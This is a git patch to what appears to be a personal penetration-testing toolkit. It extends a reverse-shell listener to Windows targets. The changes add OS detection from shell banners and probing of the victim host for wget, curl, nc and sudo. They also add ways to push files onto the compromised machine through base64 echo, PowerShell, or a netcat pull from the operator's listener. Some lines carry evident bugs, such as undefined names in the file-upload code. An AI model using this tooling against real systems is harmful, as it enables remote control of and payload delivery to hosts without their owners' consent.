From 4fb2e30bbd10e8296187fcb6ba11882d2b6c66ac Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Thu, 5 Oct 2023 13:00:16 +0200 Subject: [PATCH] shell win impl. --- __init__.py | 6 +- rev_shell.py | 169 ++++++++++++++++++++++++++++++++++++++----------- upload_file.py | 70 +++++++++++--------- util.py | 23 +++---- xss_handler.py | 2 +- 5 files changed, 191 insertions(+), 79 deletions(-) diff --git a/__init__.py b/__init__.py index 3d47c96..dc7a784 100644 --- a/__init__.py +++ b/__init__.py @@ -2,7 +2,11 @@ import os import sys __doc__ = __doc__ or "" -__all__ = ["util", "fileserver", "xss_handler", "rev_shell", "xp_cmdshell", "dnsserver", "sqli", "smtpserver"] +__all__ = [ + "util", "fileserver", "xss_handler", "rev_shell", + "xp_cmdshell", "dnsserver", "sqli", "smtpserver", + "upload_file" +] inc_dir = os.path.dirname(os.path.realpath(__file__)) sys.path.append(inc_dir) diff --git a/rev_shell.py b/rev_shell.py index 42b352a..89c8421 100755 --- a/rev_shell.py +++ b/rev_shell.py @@ -5,6 +5,7 @@ import os import sys import pty import util +import upload_file import time import random import threading @@ -31,6 +32,7 @@ class ShellListener: self.connection = None self.on_connect = None self.features = set() + self.os = None # we need a way to find the OS here def startBackground(self): self.listen_thread = threading.Thread(target=self.start) @@ -41,11 +43,14 @@ class ShellListener: return feature.lower() in self.features def probe_features(self): - features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] - for feature in features: - output = self.exec_sync("whereis " + feature) - if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: - self.features.add(feature.lower()) + if self.os == "unix": + features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] + for feature in features: + output = self.exec_sync("whereis " + feature) + if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: + self.features.add(feature.lower()) + else: + print("[-] Can't probe features for os:", self.os) def get_features(self): return self.features @@ -62,16 +67,33 @@ class ShellListener: if self.on_connect: self.on_connect(addr) - + + got_first_prompt = False while self.running: data = self.connection.recv(1024) if not data: break + + if self.os is None and not got_first_prompt: + if b"Windows PowerShell" in data: + self.os = "win" + elif b"bash" in data or b"sh" in data: + self.os = "unix" + + if self.os and self.verbose: + print("OS PROBED:", self.os) + if self.verbose: print("< ", data) - for callback in self.on_message: - callback(data) - + + if got_first_prompt: # TODO: check this... + for callback in self.on_message: + callback(data) + elif self.is_prompt(data): + got_first_prompt = True + if self.verbose: + print("RECV first prompt") + print("[-] Disconnected") self.connection = None @@ -96,7 +118,23 @@ class ShellListener: data += b"\n" return self.send(data) + def is_prompt(self, data): + if self.os == "unix": + if data.endswith(b"# ") or data.endswith(b"$ "): + return True + elif self.os == "win": + if data.endswith(b"> "): + return True + + return False + def exec_sync(self, cmd): + + if self.os is None: + print("[-] OS not probed yet, waiting...") + while self.os is None: + time.sleep(0.1) + output = b"" complete = False @@ -111,12 +149,17 @@ class ShellListener: return output += data - if data.endswith(b"# ") or data.endswith(b"$ "): + if self.is_prompt(output): complete = True - if b"\n" in output: - output = output[0:output.rindex(b"\n")] - if output.startswith(cmd + b"\n"): - output = output[len(cmd)+1:] + if self.os == "unix": + line_ending = b"\n" + elif self.os == "win": + line_ending = b"\r\n" + + if line_ending in output: + output = output[0:output.rindex(line_ending)] + if output.startswith(cmd + line_ending): + output = output[len(cmd)+len(line_ending):] self.on_message.append(callback) self.sendline(cmd) @@ -140,34 +183,86 @@ class ShellListener: time.sleep(0.1) return self.running - def write_file(self, path, data_or_fd, permissions=None): + def get_cwd(self): + if self.os == "unix": + return self.exec_sync("pwd").decode() + elif self.os == "win": + return self.exec_sync("pwd | foreach {$_.Path}").decode() + else: + print("[-] get_cwd not implemented for os:", self.os) + return None + + def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs): + + if method == None: + if self.os == "win": + method = "powershell" + elif self.os == "unix": + method = "echo" + else: + print("[-] No method specified, assuming 'echo'") + method = echo + + send_func = self.sendline if not sync else self.exec_sync def write_chunk(chunk, first=False): - # assume this is unix chunk = base64.b64encode(chunk).decode() - operator = ">" if first else ">>" - self.sendline(f"echo {chunk}|base64 -d {operator} {path}") + if method == "powershell": + send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')") + send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)") + else: + operator = ">" if first else ">>" + send_func(f"echo {chunk}|base64 -d {operator} {path}") - chunk_size = 1024 - if hasattr(data_or_fd, "read"): - first = True - while True: - data = data_or_fd.read(chunk_size) - if not data: - break - if isinstance(data, str): - data = data.encode() - write_chunk(data, first) - first = False - data_or_fd.close() + if method == "echo" or method == "powershell": + + if method == "powershell": + path = path.replace("'","\\'") + send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)") + + chunk_size = 1024 + if hasattr(data_or_fd, "read"): + first = True + while True: + data = data_or_fd.read(chunk_size) + if not data: + break + if isinstance(data, str): + data = data.encode() + write_chunk(data, first) + first = False + data_or_fd.close() + else: + if isinstance(data_or_fd, str): + data_or_fd = data_or_fd.encode() + for offset in range(0, len(data_or_fd), chunk_size): + write_chunk(data_or_fd[offset:chunk_size], offset == 0) + + if method == "powershell": + send_func(f"$stream.Close()") + + elif method == "nc" or method == "netcat": + ip_addr = util.get_address() + bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"] + port = None if "listen_port" not in kwargs else int(kwargs["listen_port"]) + sock = util.open_server(ip_addr, port, retry=False) + if not sock: + return False + + def serve_file(): + upload_file.serve_file(sock, data_or_fd, forever=False) + + port = sock.getsockname()[1] + upload_thread = threading.Thread(target=serve_file) + upload_thread.start() + send_func(f"{bin_path} {ip_addr} {port} > {path}") + upload_thread.join() else: - if isinstance(data_or_fd, str): - data_or_fd = data_or_fd.encode() - for offset in range(0, len(data_or_fd), chunk_size): - write_chunk(data_or_fd[offset:chunk_size], offset == 0) + print("[-] Unknown write-file method:", method) + return False - if permissions: - self.sendline(f"chmod {permissions} {path}") + if permissions and self.os == "unix": + send_func(f"chmod {permissions} {path}") class ParamikoTunnelServer(SocketServer.ThreadingTCPServer): daemon_threads = True @@ -367,7 +462,7 @@ if __name__ == "__main__": # choose random port if listen_port is None: listen_port = random.randint(10000,65535) - while util.isPortInUse(listen_port): + while util.is_port_in_use(listen_port): listen_port = random.randint(10000,65535) payload = generate_payload(payload_type, local_address, listen_port) diff --git a/upload_file.py b/upload_file.py index f3711fe..0d5b55e 100755 --- a/upload_file.py +++ b/upload_file.py @@ -3,37 +3,49 @@ import sys import os import util +import argparse -if len(sys.argv) < 2: - print("Usage: %s [port]" % sys.argv[0]) - exit(1) - -# Create a TCP/IP socket -FILENAME = sys.argv[1] - -# Bind the socket to the port or choose a random one -address = util.get_address() -port = None if len(sys.argv) < 3 else int(sys.argv[2]) -sock = util.openServer(address, port) -if not sock: - exit(1) - -print("Now listening, download file using:") -print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(FILENAME))) -print() - -while True: - # Wait for a connection - print('waiting for a connection') - connection, client_address = sock.accept() - +def serve_file(listen_sock, path, forever=False): try: - print('connection from', client_address) + while True: + print('[ ] Waiting for a connection') + connection, client_address = listen_sock.accept() - with open(FILENAME, "rb") as f: - content = f.read() - connection.sendall(content) + try: + print('[+] Connection from', client_address) + with open(FILENAME, "rb") as f: + content = f.read() + connection.sendall(content) + + print("[+] File Transfer succeeded") + finally: + connection.close() + + if not forever: + break finally: - # Clean up the connection - connection.close() + listen_sock.close() + +if __name__ == "__main__": + + parser = argparse.ArgumentParser(description="File Transfer using netcat") + parser.add_argument("--port", type=int, required=False, default=None, help="Listening port") + parser.add_argument("--path", type=str, required=True, help="Path to the file you wish to upload") + args = parser.parse_args() + + path = args.path + if not os.path.isfile(path): + print("[-] File not found:", path) + exit(1) + + address = util.get_address() + sock = util.open_server(address, args.port) + if not sock: + exit(1) + + print("[+] Now listening, download file using:") + print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(path))) + print() + + serve_file(listen_sock, path, forever=True) diff --git a/util.py b/util.py index 433a287..da72f50 100755 --- a/util.py +++ b/util.py @@ -12,13 +12,14 @@ import os import io import json -from PIL import Image - -def isPortInUse(port): +def is_port_in_use(port): import socket with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: return s.connect_ex(('127.0.0.1', port)) == 0 +def get_payload_path(path): + return os.path.realpath(os.path.join(os.path.dirname(__file__), path)) + def get_address(interface={"tun0", "vpn0"}): if not isinstance(interface, str): requested = set(interface) @@ -111,28 +112,27 @@ def assert_json_path(res, path, value, err=None): err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err exit_with_error(res, err) -def openServer(address, ports=None): - listenPort = None - retry = True +def open_server(address, ports=None, retry=True): + listen_port = None sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while retry: if isinstance(ports, int): - listenPort = ports + listen_port = ports retry = False elif isinstance(ports, range): - listenPort = random.randint(ports[0],ports[-1]) + listen_port = random.randint(ports[0], ports[-1]) elif ports is None: - listenPort = random.randint(10000,65535) + listen_port = random.randint(10000,65535) try: - sock.bind((address, listenPort)) + sock.bind((address, listen_port)) sock.listen(1) return sock except Exception as e: if not retry: - print("Unable to listen on port %d: %s" % (listenPort, str(e))) + print("[-] Unable to listen on port %d: %s" % (listenPort, str(e))) raise e class Stack: @@ -222,6 +222,7 @@ def base64urldecode(data): def set_exif_data(payload="", _in=None, _out=None, exif_tag=None, _format=None): import exif + from PIL import Image if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): _in = Image.new("RGB", (50,50), (255,255,255)) diff --git a/xss_handler.py b/xss_handler.py index 535498e..a8ae727 100755 --- a/xss_handler.py +++ b/xss_handler.py @@ -88,7 +88,7 @@ if __name__ == "__main__": # choose random port if listen_port is None: - sock = util.openServer(local_address) + sock = util.open_server(local_address) if not sock: exit(1) listen_port = sock.getsockname()[1]